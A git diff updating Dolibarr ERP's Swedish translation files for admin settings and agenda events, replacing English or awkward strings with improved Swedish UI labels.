      +EmailCollectorLoadThirdPartyHelp=Du kan använda den här åtgärden för att använda e-postinnehållet för att hitta och ladda en befintlig tredje part i din databas. Den hittade (eller skapade) tredje parten kommer att användas för följande åtgärder som behöver det.
      Till exempel, om du vill skapa en tredje part med ett namn extraherat från en sträng 'Namn: namn att hitta' som finns i brödtexten, använd avsändarens e-postmeddelande som e-post, du kan ställa in parameterfältet så här:
      'email= HUVUD:^Från:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
      EndPointFor=Slutpunkt för %s: %s DeleteEmailCollector=Ta bort e-postsamlare ConfirmDeleteEmailCollector=Är du säker på att du vill ta bort denna e-postsamlare? RecipientEmailsWillBeReplacedWithThisValue=Mottagarens e-postmeddelanden kommer alltid att ersättas med detta värde AtLeastOneDefaultBankAccountMandatory=Minst 1 standardbankkonto måste definieras -RESTRICT_ON_IP=Allow API access to only certain client IPs (wildcard not allowed, use space between values). Empty means every clients can access. +RESTRICT_ON_IP=Tillåt API-åtkomst till endast vissa klient-IP:er (jokertecken tillåts inte, använd mellanslag mellan värdena). Tom betyder att alla kunder kan komma åt. IPListExample=127.0.0.1 192.168.0.2 [::1] BaseOnSabeDavVersion=Baserat på biblioteksversionen av SabreDAV NotAPublicIp=Inte en offentlig IP @@ -2180,11 +2212,12 @@ EmailTemplate=Mall för e-post EMailsWillHaveMessageID=E-postmeddelanden kommer att ha taggen "Referenser" som matchar denna syntax PDF_SHOW_PROJECT=Visa projekt på dokument ShowProjectLabel=Projektetikett -PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Include alias in thirdparty name -THIRDPARTY_ALIAS=Name thirdparty - Alias thirdparty -ALIAS_THIRDPARTY=Alias thirdparty - Name thirdparty +PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Inkludera alias i tredje parts namn +THIRDPARTY_ALIAS=Namn tredje part - Alias tredje part +ALIAS_THIRDPARTY=Alias tredje part - Namn tredje part +PDFIn2Languages=Visa etiketter i PDF på 2 olika språk PDF_USE_ALSO_LANGUAGE_CODE=Om du vill att några texter i din PDF ska dupliceras på två olika språk i samma genererade PDF, måste du ställa in det här andra språket så att genererad PDF kommer att innehålla 2 olika språk på samma sida, det som du valt när du skapar PDF och det här ( endast få PDF-mallar stöder detta). Håll tomt för 1 språk per PDF. -PDF_USE_A=Gererate PDF documents with format PDF/A instead of defaut format PDF +PDF_USE_A=Generera PDF-dokument med formatet PDF/A istället för standardformatet PDF FafaIconSocialNetworksDesc=Ange här koden för en FontAwesome-ikon. Om du inte vet vad som är FontAwesome kan du använda det allmänna värdet fa-adressbok. RssNote=Obs! Varje RSS-feeddefinition ger en widget som du måste aktivera för att ha den tillgänglig i instrumentpanelen JumpToBoxes=Hoppa till Setup -> Widgets @@ -2207,103 +2240,139 @@ AskThisIDToYourBank=Kontakta din bank för att få detta ID AdvancedModeOnly=Tillstånd endast tillgängligt i avancerat tillståndsläge ConfFileIsReadableOrWritableByAnyUsers=Conf-filen är läsbar eller skrivbar av alla användare. Ge endast webbserveranvändare och gruppbehörighet. MailToSendEventOrganization=Event Organisation -MailToPartnership=Partnership +MailToPartnership=Partnerskap AGENDA_EVENT_DEFAULT_STATUS=Standardhändelsestatus när du skapar en händelse från formuläret YouShouldDisablePHPFunctions=Du bör inaktivera PHP-funktioner IfCLINotRequiredYouShouldDisablePHPFunctions=Förutom om du behöver köra systemkommandon i anpassad kod, ska du inaktivera PHP-funktioner -PHPFunctionsRequiredForCLI=För skaländamål (som schemalagd säkerhetskopiering av jobb eller körning av ett anitivursprogram) måste du behålla PHP-funktioner +PHPFunctionsRequiredForCLI=För shell-ändamål (som schemalagda säkerhetskopior eller antivirus) med PHP-funktioner NoWritableFilesFoundIntoRootDir=Inga skrivbara filer eller kataloger för de vanliga programmen hittades i din rotkatalog (Bra) -RecommendedValueIs=Rekommenderas: %s +RecommendedValueIs=Rekommenderad: %s Recommended=Rekommenderad NotRecommended=Rekommenderas inte -ARestrictedPath=Some restricted path +ARestrictedPath=Begränsad sökväg för datafiler CheckForModuleUpdate=Sök efter uppdateringar av externa moduler -CheckForModuleUpdateHelp=Denna åtgärd kommer att ansluta till redaktörer för externa moduler för att kontrollera om en ny version är tillgänglig. +CheckForModuleUpdateHelp=Denna åtgärd kommer att ansluta till utgivare av externa moduler för att kontrollera om en ny version är tillgänglig. ModuleUpdateAvailable=En uppdatering är tillgänglig NoExternalModuleWithUpdate=Inga uppdateringar hittades för externa moduler SwaggerDescriptionFile=Swagger API beskrivningsfil (för exempelvis användning med redoc) YouEnableDeprecatedWSAPIsUseRESTAPIsInstead=Du har aktiverat utfasade WS-API. Du borde använda REST API istället. RandomlySelectedIfSeveral=Slumpmässigt vald om flera bilder är tillgängliga -SalesRepresentativeInfo=For Proposals, Orders, Invoices. +SalesRepresentativeInfo=För offert, order, fakturor. DatabasePasswordObfuscated=Databasens lösenord är dolt i konfigurationsfilen DatabasePasswordNotObfuscated=Databasens lösenord är INTE dolt i konfigurationsfilen APIsAreNotEnabled=API-moduler är inte aktiverade YouShouldSetThisToOff=Du borde sätta detta till 0 eller av -InstallAndUpgradeLockedBy=Install and upgrades are locked by the file %s -OldImplementation=Old implementation -PDF_SHOW_LINK_TO_ONLINE_PAYMENT=If some online payment modules are enabled (Paypal, Stripe, ...), add a link on the PDF to make the online payment -DashboardDisableGlobal=Disable globally all the thumbs of open objects -BoxstatsDisableGlobal=Disable totally box statistics -DashboardDisableBlocks=Thumbs of open objects (to process or late) on main dashboard -DashboardDisableBlockAgenda=Disable the thumb for agenda -DashboardDisableBlockProject=Disable the thumb for projects -DashboardDisableBlockCustomer=Disable the thumb for customers -DashboardDisableBlockSupplier=Disable the thumb for suppliers -DashboardDisableBlockContract=Disable the thumb for contracts -DashboardDisableBlockTicket=Disable the thumb for tickets -DashboardDisableBlockBank=Disable the thumb for banks -DashboardDisableBlockAdherent=Disable the thumb for memberships -DashboardDisableBlockExpenseReport=Disable the thumb for expense reports -DashboardDisableBlockHoliday=Disable the thumb for leaves -EnabledCondition=Condition to have field enabled (if not enabled, visibility will always be off) -IfYouUseASecondTaxYouMustSetYouUseTheMainTax=If you want to use a second tax, you must enable also the first sales tax -IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=If you want to use a third tax, you must enable also the first sales tax -LanguageAndPresentation=Language and presentation -SkinAndColors=Skin and colors -IfYouUseASecondTaxYouMustSetYouUseTheMainTax=If you want to use a second tax, you must enable also the first sales tax -IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=If you want to use a third tax, you must enable also the first sales tax -PDF_USE_1A=Generate PDF with PDF/A-1b format -MissingTranslationForConfKey = Missing translation for %s -NativeModules=Native modules -NoDeployedModulesFoundWithThisSearchCriteria=No modules found for these search criteria -API_DISABLE_COMPRESSION=Disable compression of API responses -EachTerminalHasItsOwnCounter=Each terminal use its own counter. -FillAndSaveAccountIdAndSecret=Fill and save account ID and secret first -PreviousHash=Previous hash -LateWarningAfter="Late" warning after -TemplateforBusinessCards=Template for a business card in different size -InventorySetup= Inventory Setup -ExportUseLowMemoryMode=Use a low memory mode -ExportUseLowMemoryModeHelp=Use the low memory mode to execute the exec of the dump (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that file is completed and error message can't be reported if it fails. +InstallAndUpgradeLockedBy=Installation och uppgraderingar låses av filen %s +OldImplementation=Gammal implementering +PDF_SHOW_LINK_TO_ONLINE_PAYMENT=Om vissa moduler för onlinebetaning är aktiverad (Paypal, Stripe, ...), kan du lägga till en länk i PDF:en för att göra betalningen online +DashboardDisableGlobal=Inaktivera globalt alla miniatyrer för öppna objekt +BoxstatsDisableGlobal=Inaktivera helt boxstatistik +DashboardDisableBlocks=Miniatyrer för öppna objekt (att bearbeta eller försenat) på kontrollpanelen +DashboardDisableBlockAgenda=Inaktivera miniatyrer för dagordning +DashboardDisableBlockProject=Inaktivera miniatyrer för projekt +DashboardDisableBlockCustomer=Inaktivera miniatyrer för kunder +DashboardDisableBlockSupplier=Inaktivera miniatyrer för leverantörer +DashboardDisableBlockContract=Inaktivera miniatyrer för kontrakt +DashboardDisableBlockTicket=Inaktivera miniatyrer för ärenden +DashboardDisableBlockBank=Inaktivera miniatyrer för banker +DashboardDisableBlockAdherent=Inaktivera miniatyrer för medlemskap +DashboardDisableBlockExpenseReport=Inaktivera miniatyrer för utgiftsrapporter +DashboardDisableBlockHoliday=Inaktivera miniatyrer för frånvaro +EnabledCondition=Villkor för att ha fältet aktiverat (om det inte är aktiverat kommer synlighet alltid att vara inaktivt) +IfYouUseASecondTaxYouMustSetYouUseTheMainTax=Om du vill använda en andra moms måste du även aktivera den första momsen +IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=Om du vill använda en tredje moms måste du även aktivera den första momsen +LanguageAndPresentation=Språk och presentation +SkinAndColors=Utseende och färger +IfYouUseASecondTaxYouMustSetYouUseTheMainTax=Om du vill använda en andra moms måste du även aktivera den första momsen +IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=Om du vill använda en tredje moms måste du även aktivera den första momsen +PDF_USE_1A=Skapa PDF med PDF/A-1b-format +MissingTranslationForConfKey = Saknar översättning för %s +NativeModules=Inbyggda moduler +NoDeployedModulesFoundWithThisSearchCriteria=Ingen modul hittades för dessa sökkriterier +API_DISABLE_COMPRESSION=Inaktivera komprimering av API-svar +EachTerminalHasItsOwnCounter=Varje terminal använder sin egen kassa. +FillAndSaveAccountIdAndSecret=Fyll i och spara konto-ID och hemlighet först +PreviousHash=Tidigare hash +LateWarningAfter=Varning för försening efter +TemplateforBusinessCards=Mall för visitkort i olika storlekar +InventorySetup= Lagerinställning +ExportUseLowMemoryMode=Använd ett läge med lågt minne +ExportUseLowMemoryModeHelp=Använd lågminnesläget för att generera dumpfilen (komprimering görs genom en pipe istället för i PHP-minnet). Den här metoden tillåter inte att kontrollera om filen är komplett och felmeddelandet kan inte rapportera om det misslyckas. Använd den om du upplever att du inte har tillräckligt med minne. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interface to catch dolibarr triggers and send it to an URL -WebhookSetup = Webhook setup -Settings = inställningar -WebhookSetupPage = Webhook setup page -ShowQuickAddLink=Show a button to quickly add an element in top right menu +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL +WebhookSetup = Webhook-inställning +Settings = Inställningar +WebhookSetupPage = Inställningar för webhooks +ShowQuickAddLink=Visa en knapp för att snabbt lägga till ett element i den övre högra menyn -HashForPing=Hash used for ping -ReadOnlyMode=Is instance in "Read Only" mode -DEBUGBAR_USE_LOG_FILE=Use the dolibarr.log file to trap Logs -UsingLogFileShowAllRecordOfSubrequestButIsSlower=Use the dolibarr.log file to trap Logs instead of live memory catching. It allows to catch all logs instead of only log of current process (so including the one of ajax subrequests pages) but will make your instance very very slow. Not recommended. -FixedOrPercent=Fixed (use keyword 'fixed') or percent (use keyword 'percent') -DefaultOpportunityStatus=Default opportunity status (first status when lead is created) +HashForPing=Hash används för ping +ReadOnlyMode=Är instans i "Läs"-läge +DEBUGBAR_USE_LOG_FILE=Använd filen dolibarr.log för att spara loggar +UsingLogFileShowAllRecordOfSubrequestButIsSlower=Använd filen dolibarr.log för att spara loggar istället för att spara i minnet. Det gör det möjligt att spara alla loggar istället för att bara logga den aktuella processen, men kommer att göra din instans mer långsam. Rekommenderas inte. +FixedOrPercent=Fast (använd nyckelordet "fixed") eller procent (använd sökordet "percent") +DefaultOpportunityStatus=Standardstatus för möjligheter (första status när lead skapas) -IconAndText=Icon and text -TextOnly=Text only -IconOnlyAllTextsOnHover=Icon only - All texts appears under icon on mouse hover menu bar -IconOnlyTextOnHover=Icon only - Text of icon appears under icon on mouse hover the icon -IconOnly=Icon only - Text on tooltip only -INVOICE_ADD_ZATCA_QR_CODE=Show the ZATCA QR code on invoices -INVOICE_ADD_ZATCA_QR_CODEMore=Some Arabic countries need this QR Code on their invoices -INVOICE_ADD_SWISS_QR_CODE=Show the swiss QR-Bill code on invoices -UrlSocialNetworksDesc=Url link of social network. Use {socialid} for the variable part that contains the social network ID. -IfThisCategoryIsChildOfAnother=If this category is a child of another one -DarkThemeMode=Dark theme mode -AlwaysDisabled=Always disabled -AccordingToBrowser=According to browser -AlwaysEnabled=Always Enabled -DoesNotWorkWithAllThemes=Will not work with all themes -NoName=No name -ShowAdvancedOptions= Show advanced options -HideAdvancedoptions= Hide advanced options -CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: -OauthNotAvailableForAllAndHadToBeCreatedBefore=OAUTH2 authentication is not available for all hosts, and a token with the right permissions must have been created upstream with the OAUTH module -MAIN_MAIL_SMTPS_OAUTH_SERVICE=OAUTH2 authentication service -DontForgetCreateTokenOauthMod=A token with the right permissions must have been created upstream with the OAUTH module -MAIN_MAIL_SMTPS_AUTH_TYPE=Authentification method -UsePassword=Use a password -UseOauth=Use a OAUTH token -Images=Images -MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +IconAndText=Ikon och text +TextOnly=Endast text +IconOnlyAllTextsOnHover=Endast ikon - alla texter visas under ikonen på menyraden för muspekaren +IconOnlyTextOnHover=Endast ikon - texten till ikonen visas under ikonen när du håller muspekaren över ikonen +IconOnly=Endast ikon - text endast på verktygstips +INVOICE_ADD_ZATCA_QR_CODE=Visa ZATCA QR-koden på fakturor +INVOICE_ADD_ZATCA_QR_CODEMore=Vissa arabiska länder behöver denna QR-kod på sina fakturor +INVOICE_ADD_SWISS_QR_CODE=Visa den schweiziska QR-koden på fakturor +INVOICE_SHOW_SHIPPING_ADDRESS=Visa leveransadress +INVOICE_SHOW_SHIPPING_ADDRESSMore=Obligatorisk omnämnande för Frankrike +UrlSocialNetworksDesc=Url-länk till socialt nätverk. Använd {socialid} för den variabla delen som innehåller det sociala nätverkets ID. +IfThisCategoryIsChildOfAnother=Om denna kategori är en underkategori till en annan +DarkThemeMode=Mörkt läge +AlwaysDisabled=Alltid inaktiverad +AccordingToBrowser=Enligt webbläsare +AlwaysEnabled=Alltid aktiverad +DoesNotWorkWithAllThemes=Fungerar inte med alla teman +NoName=Inget namn +ShowAdvancedOptions= Visa avancerade alternativ +HideAdvancedoptions= Dölj avancerade alternativ +CIDLookupURL=Modulen ger en URL som kan användas av ett externt verktyg för att få namnet på en tredjepart eller kontakt från dess telefonnummer. URL att använda är: +OauthNotAvailableForAllAndHadToBeCreatedBefore=OAUTH2-autentisering är inte tillgänglig hos alla värdar, och en token med rätt rättigheter måste ha skapats uppströms i OAUTH-modulen +MAIN_MAIL_SMTPS_OAUTH_SERVICE=OAUTH2-autentiseringstjänst +DontForgetCreateTokenOauthMod=En token med rätt rättigheter måste ha skapats uppströms med OAUTH-modulen +MAIN_MAIL_SMTPS_AUTH_TYPE=Autentiseringsmetod +UsePassword=Använd ett lösenord +UseOauth=Använd en OAUTH-token +Images=Bilder +MaxNumberOfImagesInGetPost=Max antal tillåtna bilder i ett HTML-fält som skickas in i ett formulär +MaxNumberOfPostOnPublicPagesByIP=Max antal postningar på publika sidor från samma IP-adress under en månad +CIDLookupURL=Modulen ger en URL som kan användas av ett externt verktyg för att få namnet på en tredjepart eller kontakt från dess telefonnummer. URL att använda är: +ScriptIsEmpty=Skriptet är tomt +ShowHideTheNRequests=Visa/dölj %s SQL-begäran(den) +DefinedAPathForAntivirusCommandIntoSetup=Ange en sökväg för ett antivirusprogram i %s +TriggerCodes=Utlösbara händelser +TriggerCodeInfo=Ange triggerkod(er) som ska generera en post efter en webbförfrågan (endast extern URL är tillåten). Du kan ange flera triggerkoder separerade med kommatecken. +EditableWhenDraftOnly=Om avmarkerad kan värdet endast ändras när objektet har en utkaststatus +CssOnEdit=CSS på redigeringssidor +CssOnView=CSS på visningssidor +CssOnList=CSS på listsidor +HelpCssOnEditDesc=CSS som används vid redigering av fältet.
      Exempel: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=CSS som används när du visar fältet. +HelpCssOnListDesc=CSS som används när fältet finns i en listtabell.
      Exempel: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Dölj den beställda kvantiteten på de genererade dokumenten för mottagningar +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Visa pris på de genererade dokumenten för mottagningar +WarningDisabled=Varning inaktiverad +LimitsAndMitigation=Åtkomstgränser och begränsningar +DesktopsOnly=Endast datorer +DesktopsAndSmartphones=Datorer och mobila enheter +AllowOnlineSign=Tillåt onlinesignering +AllowExternalDownload=Tillåt extern nedladdning (utan inloggning, med en delad länk) +DeadlineDayVATSubmission=Sista dag för momsinlämning nästa månad +MaxNumberOfAttachementOnForms=Max antal sammanfogade filer i ett formulär +IfDefinedUseAValueBeetween=Om angiven, använd ett värde mellan %soch %s +Reload=Ladda om +ConfirmReload=Bekräfta omladdning av modulen +WarningModuleHasChangedLastVersionCheckParameter=Varning: modulen %s har satt en parameter för att kontrollera dess version vid varje sidåtkomst. Detta är en dålig och otillåten praxis som kan göra sidan för att administrera moduler instabil. Kontakta skaparen av modulen för att fixa detta. +WarningModuleHasChangedSecurityCsrfParameter=Varning: modulen %s har inaktiverat CSRF-säkerheten för din instans. Denna åtgärd är misstänkt och din installation kanske inte längre är säkrad. Kontakta författaren av modulen för förklaring. +EMailsInGoingDesc=Inkommande e-postmeddelanden hanteras av modulen %s. Du måste aktivera och konfigurera det om du behöver stödja inkommande e-postmeddelanden. +MAIN_IMAP_USE_PHPIMAP=Använd PHP-IMAP-biblioteket för IMAP istället för inbyggt PHP IMAP. Detta tillåter också användningen av en OAuth2-anslutning för IMAP (modulen OAuth måste också vara aktiverad). +MAIN_CHECKBOX_LEFT_COLUMN=Visa kolumnen för fält- och radval till vänster (till höger som standard) + +CSSPage=CSS Style diff --git a/htdocs/langs/sv_SE/agenda.lang b/htdocs/langs/sv_SE/agenda.lang index d2090cd56b8..1a84efeee4a 100644 --- a/htdocs/langs/sv_SE/agenda.lang +++ b/htdocs/langs/sv_SE/agenda.lang @@ -1,174 +1,182 @@ # Dolibarr language file - Source file is en_US - agenda IdAgenda=ID händelse -Actions=Åtgärder -Agenda=Agenda -TMenuAgenda=Agenda +Actions=Händelser +Agenda=Dagordning +TMenuAgenda=Dagordning Agendas=Dagordningar LocalAgenda=Standardkalender ActionsOwnedBy=Händelse som ägs av ActionsOwnedByShort=Ägare -AffectedTo=Påverkas i +AffectedTo=Tilldelad Event=Händelse -Events=Evenemang +Events=Händelser EventsNb=Antal händelser -ListOfActions=Lista över evenemang +ListOfActions=Lista över händelser EventReports=Händelsesrapporter -Location=Läge +Location=Plats ToUserOfGroup=Händelse tilldelad till alla användare i gruppen -EventOnFullDay=Händelse heldag -MenuToDoActions=Alla ofullständiga handlingar -MenuDoneActions=Alla avslutade åtgärder -MenuToDoMyActions=Min ofullständiga handlingar -MenuDoneMyActions=Min avslutas åtgärder +EventOnFullDay=Heldagshändelse +MenuToDoActions=Alla ofullständiga händelser +MenuDoneActions=Alla avslutade händelser +MenuToDoMyActions=Min ofullständiga händelser +MenuDoneMyActions=Min avslutade händelser ListOfEvents=Händelselista (standardkalender) -ActionsAskedBy=Åtgärder som registrerats av -ActionsToDoBy=Åtgärder påverkas -ActionsDoneBy=Åtgärder som utförs av -ActionAssignedTo=Händelse delad -ViewCal=Visa kalender +ActionsAskedBy=Händelser rapporterade av +ActionsToDoBy=Händelser tilldelade +ActionsDoneBy=Händelser utförda av +ActionAssignedTo=Händelse tilldelad +ViewCal=Månadsvy ViewDay=Dagsvy ViewWeek=Veckovy -ViewPerUser=Per user view -ViewPerType=Per typvy -AutoActions= Automatisk fyllning av dagordning -AgendaAutoActionDesc= Här kan du definiera events som du vill ha Dolibarr till create automatically i Agenda. Om inget är checked, kommer endast manuella åtgärder att inkluderas i loggar and som visas i Agenda. Automatisk spårning av affärsåtgärder gjorda på objects (bekräftelse, statusändring) sparas inte. +ViewPerUser=Vy per användare +ViewPerType=Vy per typ +AutoActions= Automatisk fyllning +AgendaAutoActionDesc= Här kan du ange händelser som du vill att Dolibarr ska skapa automatiskt i dagordningen. Om inget är förkryssat kommer endast manuella händelser att inkluderas i loggar och visas i dagordningen. Automatisk spårning av affärsåtgärder gjorda på objekt (bekräftelse, statusändring) sparas inte. AgendaSetupOtherDesc= Den här sidan innehåller alternativ för att tillåta export av dina Dolibarr events till en extern kalender (Thunderbird, Google Kalender etc ...) -AgendaExtSitesDesc=Den här sidan gör det möjligt att deklarera externa kalendrar för att se sina evenemang i Dolibarr agenda. -ActionsEvents=Händelser som Dolibarr kommer att skapa en talan i agenda automatiskt -EventRemindersByEmailNotEnabled=Händelsepåminnelser av email var inte aktiverat i %s module inställning. +AgendaExtSitesDesc=Den här sidan gör det möjligt att ange externa kalendrar för att se sina evenemang i dagordningen. +ActionsEvents=Händelser som Dolibarr kommer att skapa en händelse för i dagordningen automatiskt +EventRemindersByEmailNotEnabled=Händelsepåminnelser via e-post var inte aktiverat i modulinställningen %s . ##### Agenda event labels ##### -NewCompanyToDolibarr=Tredje part %s skapad -COMPANY_MODIFYInDolibarr=Tredje part %s modifierad -COMPANY_DELETEInDolibarr=Tredje part %s borttagen +NewCompanyToDolibarr=Tredjepart %s skapad +COMPANY_MODIFYInDolibarr=Tredjepart %s ändrad +COMPANY_DELETEInDolibarr=Tredjepart %s raderad ContractValidatedInDolibarr=Kontrakt %s bekräftades CONTRACT_DELETEInDolibarr=Kontrakt %s raderad -PropalClosedSignedInDolibarr=Förslag %s undertecknade -PropalClosedRefusedInDolibarr=Förslag %s vägrade -PropalValidatedInDolibarr=Förslag %s bekräftades -PropalClassifiedBilledInDolibarr=Förslag %s märkt faktureras +PropalClosedSignedInDolibarr=Offert%s signerades +PropalClosedRefusedInDolibarr=Offert %s avslogs +PropalValidatedInDolibarr=Offert %s bekräftades +PropalBackToDraftInDolibarr=Offert %s backades till utkast +PropalClassifiedBilledInDolibarr=Offert %s markerades som fakturerad InvoiceValidatedInDolibarr=Faktura %s bekräftades -InvoiceValidatedInDolibarrFromPos=Faktura %s bekräftats från POS -InvoiceBackToDraftInDolibarr=Faktura %s gå tillbaka till förslaget status -InvoiceDeleteDolibarr=Faktura %s raderas -InvoicePaidInDolibarr=Faktura %s ändrades till betald -InvoiceCanceledInDolibarr=Faktura %s annulleras +InvoiceValidatedInDolibarrFromPos=Faktura %s bekräftades från POS +InvoiceBackToDraftInDolibarr=Faktura %s backades till utkast +InvoiceDeleteDolibarr=Faktura %s raderad +InvoicePaidInDolibarr=Faktura %s markerades som betald +InvoiceCanceledInDolibarr=Faktura %s makulerades MemberValidatedInDolibarr=Medlem %s bekräftades -MemberModifiedInDolibarr=Medlem %s modified +MemberModifiedInDolibarr=Medlem %s ändrad MemberResiliatedInDolibarr=Medlem %s avslutad MemberDeletedInDolibarr=Medlem %s raderad +MemberExcludedInDolibarr=Medlem %s utesluten MemberSubscriptionAddedInDolibarr=Prenumeration %s för medlem %s tillagd -MemberSubscriptionModifiedInDolibarr=Prenumeration %s för medlem %s modified +MemberSubscriptionModifiedInDolibarr=Prenumeration %s för medlem %s ändrad MemberSubscriptionDeletedInDolibarr=Prenumeration %s för medlem %s raderad -ShipmentValidatedInDolibarr=Leverans %s bekräftat -ShipmentClassifyClosedInDolibarr=Sändning %s märkt fakturerad -ShipmentUnClassifyCloseddInDolibarr=Leverans %s klassificerad återöppen -ShipmentBackToDraftInDolibarr=Leverans %s gå tillbaka till utkast status +ShipmentValidatedInDolibarr=Leverans %s bekräftad +ShipmentClassifyClosedInDolibarr=Leverans %s markerades som fakturerad +ShipmentUnClassifyCloseddInDolibarr=Leverans %s markerades som återöppnad +ShipmentBackToDraftInDolibarr=Leverans %s backades till utkast ShipmentDeletedInDolibarr=Frakten %s raderad -ShipmentCanceledInDolibarr=Shipment %s canceled -ReceptionValidatedInDolibarr=Mottagning %s validerad +ShipmentCanceledInDolibarr=Leverans %s avbruten +ReceptionValidatedInDolibarr=Mottagning %s bekräftad +ReceptionDeletedInDolibarr=Leverans %s raderad +ReceptionClassifyClosedInDolibarr=Mottagning %s stängdes OrderCreatedInDolibarr=Order %s skapad -OrderValidatedInDolibarr=Order %s bekräftades -OrderDeliveredInDolibarr=Order %s märkt levererad -OrderCanceledInDolibarr=Order %s avbryts -OrderBilledInDolibarr=Order %s märkt fakturerad -OrderApprovedInDolibarr=Ordningens %s godkänd -OrderRefusedInDolibarr=Order %s vägrade -OrderBackToDraftInDolibarr=Order %s gå tillbaka till förslaget status -ProposalSentByEMail=Kommersiell proposal %s skickad av email -ContractSentByEMail=Kontrakt %s skickat av email -OrderSentByEMail=Försäljning order %s skickad av email -InvoiceSentByEMail=Kund invoice %s skickad av email -SupplierOrderSentByEMail=Purchase order %s skickad av email -ORDER_SUPPLIER_DELETEInDolibarr=Inköpsorder %s borttagen -SupplierInvoiceSentByEMail=Vendor invoice %s skickad av email -ShippingSentByEMail=Leverans %s skickad av email -ShippingValidated= Leverans %s bekräftat -InterventionSentByEMail=Intervention %s skickad av email -ProposalDeleted=Förslag raderad +OrderValidatedInDolibarr=Order %s bekräftad +OrderDeliveredInDolibarr=Order %s markerades som levererad +OrderCanceledInDolibarr=Order %s avbruten +OrderBilledInDolibarr=Order %s markerades som fakturerad +OrderApprovedInDolibarr=Order %s godkänd +OrderRefusedInDolibarr=Order %s avslogs +OrderBackToDraftInDolibarr=Order %s backades till utkast +ProposalSentByEMail=Offert %s skickades via e-post +ContractSentByEMail=Kontrakt %s skickades via e-post +OrderSentByEMail=Order %s skickades via e-post +InvoiceSentByEMail=Faktura %s skickades via e-post +SupplierOrderSentByEMail=Inköpsorder %s skickades via e-post +ORDER_SUPPLIER_DELETEInDolibarr=Inköpsorder %s raderad +SupplierInvoiceSentByEMail=Leverantörsfaktura %s skickades via e-post +ShippingSentByEMail=Leverans %s skickades via e-post +ShippingValidated= Leverans %s bekräftad +InterventionSentByEMail=Intervention %s skickades via e-post +ProjectSentByEMail=Projekt %s skickades via e-post +ProposalDeleted=Offert raderad OrderDeleted=Order raderad InvoiceDeleted=Faktura raderad DraftInvoiceDeleted=Utkastsfaktura borttagen -CONTACT_CREATEInDolibarr=Kontakt %s skapat +CONTACT_CREATEInDolibarr=Kontakt %s skapad CONTACT_MODIFYInDolibarr=Kontakt %s ändrad -CONTACT_DELETEInDolibarr=Kontakt %s borttagen +CONTACT_DELETEInDolibarr=Kontakt %s raderad PRODUCT_CREATEInDolibarr=Produkt %s skapad -PRODUCT_MODIFYInDolibarr=Produkt %s modified +PRODUCT_MODIFYInDolibarr=Produkt %s ändrad PRODUCT_DELETEInDolibarr=Produkt %s raderad -HOLIDAY_CREATEInDolibarr=Begäran om ledighet %s skapad -HOLIDAY_MODIFYInDolibarr=Begäran om ledighet %s ändrad -HOLIDAY_APPROVEInDolibarr=Begäran om ledighet %s godkänd -HOLIDAY_VALIDATEInDolibarr=Begäran om ledighet %s bekräftad -HOLIDAY_DELETEInDolibarr=Begäran om ledighet %s borttagen -EXPENSE_REPORT_CREATEInDolibarr=Kostnadsrapport %s skapad -EXPENSE_REPORT_VALIDATEInDolibarr=Kostnadsrapport %s bekräftat -EXPENSE_REPORT_APPROVEInDolibarr=Kostnadsrapport %s godkänd -EXPENSE_REPORT_DELETEInDolibarr=Kostnadsrapport %s raderad -EXPENSE_REPORT_REFUSEDInDolibarr=Kostnadsrapport %s refused +HOLIDAY_CREATEInDolibarr=Ledighetsansökan %s skapad +HOLIDAY_MODIFYInDolibarr=Ledighetsansökan %s ändrad +HOLIDAY_APPROVEInDolibarr=Ledighetsansökan %s godkänd +HOLIDAY_VALIDATEInDolibarr=Ledighetsansökan %s bekräftad +HOLIDAY_DELETEInDolibarr=Ledighetsansökan %s borttagen +EXPENSE_REPORT_CREATEInDolibarr=Utlägg %s skapad +EXPENSE_REPORT_VALIDATEInDolibarr=Utlägg %s bekräftad +EXPENSE_REPORT_APPROVEInDolibarr=Utlägg %s godkänd +EXPENSE_REPORT_DELETEInDolibarr=Utlägg %s raderad +EXPENSE_REPORT_REFUSEDInDolibarr=Utlägg %s avslogs PROJECT_CREATEInDolibarr=Projekt %s skapad -PROJECT_MODIFYInDolibarr=Projekt %s modified +PROJECT_MODIFYInDolibarr=Projekt %s ändrad PROJECT_DELETEInDolibarr=Projekt %s raderad -TICKET_CREATEInDolibarr=Biljett %s skapad -TICKET_MODIFYInDolibarr=Biljett %s modified +TICKET_CREATEInDolibarr=Ärende %s skapad +TICKET_MODIFYInDolibarr=Ärende %s ändrad TICKET_ASSIGNEDInDolibarr=Ärende %s tilldelat -TICKET_CLOSEInDolibarr=Biljett %s stängt -TICKET_DELETEInDolibarr=Biljett %s raderad -BOM_VALIDATEInDolibarr=BOM validerad -BOM_UNVALIDATEInDolibarr=Stycklista ogiltig +TICKET_CLOSEInDolibarr=Ärende %s stängd +TICKET_DELETEInDolibarr=Ärende %s raderad +BOM_VALIDATEInDolibarr=BOM bekräftad +BOM_UNVALIDATEInDolibarr=BOM obekräftad BOM_CLOSEInDolibarr=BOM inaktiverad -BOM_REOPENInDolibarr=BOM öppnas igen +BOM_REOPENInDolibarr=BOM återöppnad BOM_DELETEInDolibarr=BOM raderad -MRP_MO_VALIDATEInDolibarr=MO validerad -MRP_MO_UNVALIDATEInDolibarr=MO inställd på utkaststatus +MRP_MO_VALIDATEInDolibarr=MO bekräftad +MRP_MO_UNVALIDATEInDolibarr=MO angiven till utkast MRP_MO_PRODUCEDInDolibarr=MO producerad -MRP_MO_DELETEInDolibarr=MO borttagen -MRP_MO_CANCELInDolibarr=MO avbröts +MRP_MO_DELETEInDolibarr=MO raderad +MRP_MO_CANCELInDolibarr=MO avbruten PAIDInDolibarr=%s betald ##### End agenda events ##### 